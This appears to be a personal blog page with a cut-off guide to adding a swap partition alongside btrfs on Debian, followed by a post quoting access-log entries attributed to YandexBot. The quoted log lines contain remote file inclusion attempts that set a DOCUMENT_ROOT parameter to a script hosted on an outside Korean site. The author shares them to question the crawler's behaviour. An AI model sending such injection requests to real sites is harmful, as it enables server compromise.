Recently I had a need to add a swap file to my Debian installation.
However, I am now using btrfs, and – as with any other COW filesystem – it is not possible to simply create a swap file and use it.
There are workarounds (creating a file with a COW attribute removed, and then loop-mounting it), but I just did not like them.

So I have decided to add a swap partition.
It worked amazingly (and very easily), there was even no need to reboot – at all.
I still did restart, just to make sure the system is bootable – and all was perfectly fine.

My initial setup is very simple: a single /dev/sda1 partition on the /dev/sda disk, fully used by btrfs.
Different important paths/mountpoints are btrfs subvolumes, using flat hierarchy.
For this example, let us assume that /dev/sda (and /dev/sda1) is 25GB large, and that I want to add a 2GB swap /dev/sda2 after /dev/sda1.

Brief explanation before we start:

1. shrink btrfs filesystem by more than 2GB;
2. shrink btrfs partition by 2GB;
3. create new 2GB partition for the swap;
4. resize btrfs filesystem to full size of its new-size partition;
5. initialize swap and turn it on.

Here are the very easy steps! Just make sure you do not make mistakes anywhere
Read the rest of this entry »

Here is a recent entry from my web-server’s access log:

bogdan.org.ua:80 130.193.51.57 – - [09/Apr/2016:15:53:22 +0300] “GET /categories/programming?_SERVER[DOCUMENT_ROOT]=http://www.daedongfur.co.kr/shop/log/.logs/id1.txt HTTP/1.1″ 200 13158 “-” “Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)”

Client’s IP 130.193.51.57 does belong to Yandex network range.

So…

• Had Yandex started looking for vulnerabilities in the web-sites it scans?
• Does it only look for vulnerabilities in the .UA web-sites/domains?
• Does Yandex really use a Korean web-site to host malicious code?

In fact, there are more entries like that one, also from one of Yandex IPs:

bogdan.org.ua:80 130.193.51.25 – - [04/Apr/2016:00:14:22 +0300] “GET /categories/programming/page/5?_SERVER%5BDOCUMENT_ROOT%5D=http%3A%2F%2Fwww.daedongfur.co.kr%2Fshop%2Flog%2F.logs%2Fid1.txt HTTP/1.1″ 200 12607 “-” “Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)”
bogdan.org.ua:80 130.193.51.25 – - [04/Apr/2016:00:19:31 +0300] “GET /categories/programming/page/4?_SERVER%5BDOCUMENT_ROOT%5D=http%3A%2F%2Fwww.daedongfur.co.kr%2Fshop%2Flog%2F.logs%2Fid1.txt HTTP/1.1″ 200 12174 “-” “Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)”

I can see 3 explanations, and all of them are bad for Yandex:

• Yandex now belongs to KGB, and it does scan [.UA] web-sites for vulnerabilities;
• some/many of Yandex crawler servers are compromised, and are used by malicious 3rd parties;
• there was a public malicious link somewhere (???) to my blog, and Yandex blindly followed it.